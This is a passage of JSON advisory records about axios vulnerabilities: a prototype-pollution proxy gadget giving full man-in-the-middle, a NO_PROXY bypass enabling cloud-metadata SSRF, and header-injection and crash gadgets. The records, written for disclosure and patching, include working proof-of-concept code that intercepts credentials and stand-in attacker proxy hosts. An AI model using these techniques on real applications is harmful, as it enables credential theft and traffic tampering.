|\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T16:07:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw","https://nvd.nist.gov/vuln/detail/CVE-2026-44495","https://github.com/advisories/GHSA-3g43-6gmg-66jw"],"source_kind":"github","identifiers":["GHSA-3g43-6gmg-66jw","CVE-2026-44495"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T17:00:08.931Z","updated_at":"2026-08-28T13:01:55.212Z","epss_percentage":0.00836,"epss_percentile":0.54991,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003e= 0.19.0, \u003c 0.31.1"},{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","url":"https://github.com/advisories/GHSA-35jp-ww65-95wh","title":"axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`","description":"# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy')\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application's network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found → used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n  host: 'attacker.com',\n  port: 8080,\n  protocol: 'http',\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer — no proxy configured\nconst response = await axios.get('https://api.internal.corp/secrets', {\n  auth: { username: 'svc-account', password: 'prod-key-abc123!' }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n  options,\n  config.proxy,    // ← traverses prototype chain → finds polluted proxy\n  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }\n  // ...\n  if (proxy) {\n    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'\n    options.port = proxy.port;                         // → 8080\n    options.path = location;                           // → full URL as path\n    // ...\n  }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker's proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy — the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Attacker's proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n  intercepted.push({\n    url: req.url,\n    authorization: req.headers.authorization,\n    headers: req.headers,\n  });\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end('{\"hijacked\":true}');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n  res.writeHead(200);\n  res.end('{\"data\":\"real\"}');\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };\n\n// \"Safe\" request — goes through attacker's proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n  auth: { username: 'admin', password: 'SuperSecret123!' }\n});\n\nconsole.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');\nconsole.log('Intercepted Authorization:', intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    Response source: real server\n    response.data: {\"data\":\"from-real-server\"}\n    Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n    Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n    Response source: ATTACKER PROXY!\n    response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker's proxy:\n    Full URL: http://127.0.0.1:50878/api/secrets\n    Host: 127.0.0.1:50878\n    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n    All headers: {\n      \"accept\": \"application/json, text/plain, */*\",\n      \"user-agent\": \"axios/1.15.0\",\n      \"accept-encoding\": \"gzip, compress, deflate, br\",\n      \"host\": \"127.0.0.1:50878\",\n      \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n      \"connection\": \"keep-alive\"\n    }\n\n[5] Attacker capabilities demonstrated:\n    ✓ Full URL visible (including internal hostnames)\n    ✓ Authorization header visible (Base64-encoded credentials)\n    ✓ Can modify/forge response data\n    ✓ Affects ALL axios HTTP requests (not just a single instance)\n    ✓ No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` — MITM\n- `config.socketPath` — Unix socket SSRF\n- `config.transport` — request hijack\n- `config.lookup` — DNS hijack\n- `config.beforeRedirect` — redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` — agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T16:04:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh","https://github.com/advisories/GHSA-fvcv-3m26-pcqx","https://nvd.nist.gov/vuln/detail/CVE-2026-44494","https://github.com/advisories/GHSA-35jp-ww65-95wh"],"source_kind":"github","identifiers":["GHSA-35jp-ww65-95wh","CVE-2026-44494"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T17:00:08.931Z","updated_at":"2026-08-29T17:01:44.270Z","epss_percentage":0.0102,"epss_percentile":0.60422,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpwLXd3NjUtOTV3aM4ABXuv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","url":"https://github.com/advisories/GHSA-pjwm-pj3p-43mv","title":"axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)","description":"### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0):                                                                                                                                   \n\n```javascript                                                                                                                                                                              \n  const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);                                                                                                      \n  const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);                                                                                                                    \n                                                                                                                                                                                \n  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             \n  return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));                                                                                             \n```\n                                                                                                                                                                                \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used.  proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';                                                                                                       \n                                                                                                                                                                              \n// All three should return true (bypass proxy). Only the first two do.                                                                                                        \nconsole.log(shouldBypassProxy('http://127.0.0.1/'));          // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy('http://[::1]/'));               // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false \u003c- bypass                                                                                             \nconsole.log(shouldBypassProxy('http://[::ffff:7f00:1]/'));     // false \u003c- bypass\n\n```                                                                                              \n                                                                                                                                                                              \nNode.js routes ::ffff:7f00:1 to 127.0.0.1:                                                                                                                                    \n\n```                                                                                                                                                                              \n// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service                                                                                                       \n// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.                                                                                                         \n```                                                                                                                                                                              \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.                                                                                                                      \n                                                                                                                                                                            \n#### Fix                                                                                                                                                                           \n                                                                                                                                                                            \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:                                                                                                  \n \n ```javascript                                                                                                                                                                           \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i;                                                                                                    \nconst ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         \n                                                                                                                                                                              \nfunction hexToIPv4(a, b) {                                                                                                                                                    \n  const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           \n  return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`;                                                                                                                   \n}                                                                                                                                                                             \n                                                                                                                                                                              \nconst normalizeNoProxyHost = (hostname) =\u003e {                                                                                                                                  \n  if (!hostname) return hostname;                                                                                                                                           \n  if (hostname[0] === '[' \u0026\u0026 hostname.at(-1) === ']')\n    hostname = hostname.slice(1, -1);                                                                                                                                         \n  hostname = hostname.replace(/\\.+$/, '').toLowerCase();\n                                                                                                                                                                              \n  let m;                                                                                                                                                                    \n  if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    \n  if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   \n  return hostname;                                                                                                                                                            \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T15:59:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv","https://nvd.nist.gov/vuln/detail/CVE-2025-62718","https://nvd.nist.gov/vuln/detail/CVE-2026-44492","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json","https://bugzilla.redhat.com/show_bug.cgi?id=2487938","https://access.redhat.com/security/cve/CVE-2026-44492","https://access.redhat.com/errata/RHSA-2026:36108","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:33005","https://access.redhat.com/errata/RHSA-2026:30651","https://access.redhat.com/errata/RHSA-2026:30650","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:29082","https://access.redhat.com/errata/RHSA-2026:28964","https://access.redhat.com/errata/RHSA-2026:27063","https://access.redhat.com/errata/RHSA-2026:27044","https://access.redhat.com/errata/RHSA-2026:26234","https://access.redhat.com/errata/RHSA-2026:20938","https://access.redhat.com/errata/RHSA-2026:20889","https://access.redhat.com/errata/RHSA-2026:36883","https://access.redhat.com/errata/RHSA-2026:36882","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:34766","https://access.redhat.com/errata/RHSA-2026:36611","https://access.redhat.com/errata/RHSA-2026:40119","https://access.redhat.com/errata/RHSA-2026:40138","https://access.redhat.com/errata/RHSA-2026:40262","https://access.redhat.com/errata/RHSA-2026:41031","https://access.redhat.com/errata/RHSA-2026:41066","https://access.redhat.com/errata/RHSA-2026:41055","https://access.redhat.com/errata/RHSA-2026:41064","https://github.com/advisories/GHSA-pjwm-pj3p-43mv"],"source_kind":"github","identifiers":["GHSA-pjwm-pj3p-43mv","CVE-2026-44492"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-08-30T17:01:45.768Z","epss_percentage":0.0087,"epss_percentile":0.55776,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","url":"https://github.com/advisories/GHSA-898c-q2cr-xwhg","title":"axios has DoS \u0026 Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions","description":"## Summary\n\naxios `1.15.2` exposes two read-side prototype-pollution gadgets. When `Object.prototype` is polluted by an upstream dependency in the same process (e.g. lodash `_.merge` / [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487)), axios silently picks up the polluted values:\n\n1. **Header injection** - `lib/utils.js` line 406 builds `merge()`'s accumulator as `result = {}`, so `result[targetKey]` (line 414) walks `Object.prototype` and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.\n2. **Crash DoS** - `lib/core/mergeConfig.js` line 26 builds the `hasOwnProperty` descriptor as a plain-object literal. `Object.defineProperty` reads `descriptor.get`/`descriptor.set` via the prototype chain, so a polluted `Object.prototype.get` or `Object.prototype.set` makes the call throw `TypeError` synchronously on every axios request.\n\n## Affected Properties\n\n| Polluted slot | Effect |\n|---|---|\n| `Object.prototype.common` | injects headers on every method |\n| `Object.prototype.delete` / `.head` / `.post` / `.put` / `.patch` / `.query` | injects headers on the matching method |\n| `Object.prototype.get` | every axios request throws `TypeError: Getter must be a function` from `mergeConfig.js:26` |\n| `Object.prototype.set` | every axios request throws `TypeError: Setter must be a function` from `mergeConfig.js:26` |\n\nPer-request headers (`axios.request(url, { headers: {...} })`) overwrite polluted entries. Polluting `Object.prototype.get` triggers the crash before any header is built.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Finding A - header injection\nObject.prototype.common = { 'X-Poisoned': 'yes' };\nawait axios.get('http://api.example.com/users');\n// Wire request carries `X-Poisoned: yes`.\n\n// Finding B - crash DoS\nObject.prototype.get = { something: 'anything' };\nawait axios.get('http://api.example.com/users');\n// TypeError: Getter must be a function: #\u003cObject\u003e\n//     at Function.defineProperty (\u003canonymous\u003e)\n//     at mergeConfig (lib/core/mergeConfig.js:26:10)\n```\n\n## Impact\n\n- **Server hang** (`Content-Length: 99999`): receiver waits for a body that never arrives. Affects requests with a body.\n- **CL+TE conflict** (`Transfer-Encoding: chunked` rides alongside axios's auto `Content-Length`): receiver rejects with `400 Bad Request`. Affects requests with a body.\n- **Response suppression** (`If-None-Match: *`): receiver returns empty `304 Not Modified`. Affects GET / HEAD.\n- **Crash DoS** (`Object.prototype.get` / `.set`): every axios request fails synchronously with `TypeError`, not `AxiosError`, so handlers filtering on `error.isAxiosError` mishandle the failure.\n\n## Attack Flow\n\n```mermaid\nflowchart TD\n    ROOT[\"Polluted Object.prototype\u003cbr/\u003evia upstream gadget (e.g. lodash \u0026lt;= 4.17.10 _.merge / CVE-2018-16487)\u003cbr/\u003eaxios \u0026lt;= 1.15.2\"]\n\n    ROOT --\u003e CLASS_A[\"A. Arbitrary HTTP Header Injection\u003cbr/\u003ePolluted defaults.headers slot rides along on every outbound axios request\"]\n    ROOT --\u003e CLASS_B[\"B. Crash DoS via Object.prototype.get / .set\u003cbr/\u003ePolluted descriptor breaks Object.defineProperty in mergeConfig\"]\n\n    CLASS_A --\u003e PRE_A[\"Precondition: header not set per-request by the app\u003cbr/\u003eInjected via defaults.headers slot\u003cbr/\u003e(common, delete, head, post, put, patch, query)\"]\n\n    PRE_A --\u003e PA1[\"Response Suppression\u003cbr/\u003eTrigger: common = {If-None-Match: *}\u003cbr/\u003eAffects GET / HEAD\"]\n    PA1 --\u003e SA1[\"DoS\u003cbr/\u003e304 Not Modified empty\"]\n\n    PRE_A --\u003e PA2[\"Server Hang\u003cbr/\u003eTrigger: common = {Content-Length: 99999}\u003cbr/\u003eAffects requests with body\"]\n    PA2 --\u003e SA2[\"DoS\u003cbr/\u003econnection hang\"]\n\n    PRE_A --\u003e PA3[\"CL+TE Conflict\u003cbr/\u003eTrigger: common = {Transfer-Encoding: chunked}\u003cbr/\u003eAffects requests with body\"]\n    PA3 --\u003e SA3[\"DoS\u003cbr/\u003e400 Bad Request\"]\n\n    CLASS_B --\u003e SB1[\"DoS\u003cbr/\u003eTypeError: Getter / Setter must be a function\u003cbr/\u003eCrashes every axios request, not only GET\"]\n\n    %% Styles\n    style ROOT fill:#f87171,stroke:#991b1b,color:#fff\n    style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff\n    style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff\n    style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b\n    style PA1 fill:#fbbf24,stroke:#92400e,color:#000\n    style PA2 fill:#fbbf24,stroke:#92400e,color:#000\n    style PA3 fill:#fbbf24,stroke:#92400e,color:#000\n    style SA1 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SA2 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SA3 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SB1 fill:#ef4444,stroke:#991b1b,color:#fff\n```\n\n## Root Cause\n\n**Finding A.** `lib/utils.js:404-429`'s `merge()` creates `result = {}` at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (`isPlainObject(result[targetKey])`) still walks the prototype chain. When `targetKey` matches a polluted slot, `result[targetKey]` returns the polluted nested object, and the recursive `merge(result[targetKey], val)` on line 415 iterates that object's own keys via `forEach` and copies them as own properties into the new accumulator. Those keys flow through `mergeConfig.js:35` → `Axios.js:148` (`utils.merge(headers.common, headers[config.method])`) → `Axios.js:155` (`AxiosHeaders.concat(...)`) → onto the wire via `http.js:677` (`headers: headers.toJSON()`) → `http.js:767` (`transport.request(options, ...)`).\n\n**Finding B.** `lib/core/mergeConfig.js:25` correctly makes `config = Object.create(null)`, but the descriptor passed on line 26 is a plain-object literal - its `get`/`set` lookups walk `Object.prototype`. A polluted non-function `Object.prototype.get` or `.set` makes `Object.defineProperty` throw `TypeError: Getter must be a function` (or `Setter must be a function`) before the call returns. The descriptor is built unconditionally on every `mergeConfig` invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.\n\n## Suggested Fix\n\nUse null-prototype objects in place of the plain-object literals at `lib/utils.js:406` and `lib/core/mergeConfig.js:26-31`. The same descriptor pattern recurs at `lib/core/AxiosError.js:37`, `lib/core/AxiosHeaders.js:100`, `lib/utils.js:447/454/492/498`, and `lib/adapters/adapters.js:28/32`.\n\n## Resources\n\n- [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487) - `lodash.merge` prototype pollution in `lodash \u003c= 4.17.10`\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) - Improperly Controlled Modification of Object Prototype Attributes","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-29T15:54:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg","https://nvd.nist.gov/vuln/detail/CVE-2018-16487","https://nvd.nist.gov/vuln/detail/CVE-2026-44490","https://github.com/advisories/GHSA-898c-q2cr-xwhg"],"source_kind":"github","identifiers":["GHSA-898c-q2cr-xwhg","CVE-2026-44490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-08-28T13:01:55.214Z","epss_percentage":0.00309,"epss_percentile":0.22953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","url":"https://github.com/advisories/GHSA-654m-c8p4-x5fp","title":"Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix","description":"# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## 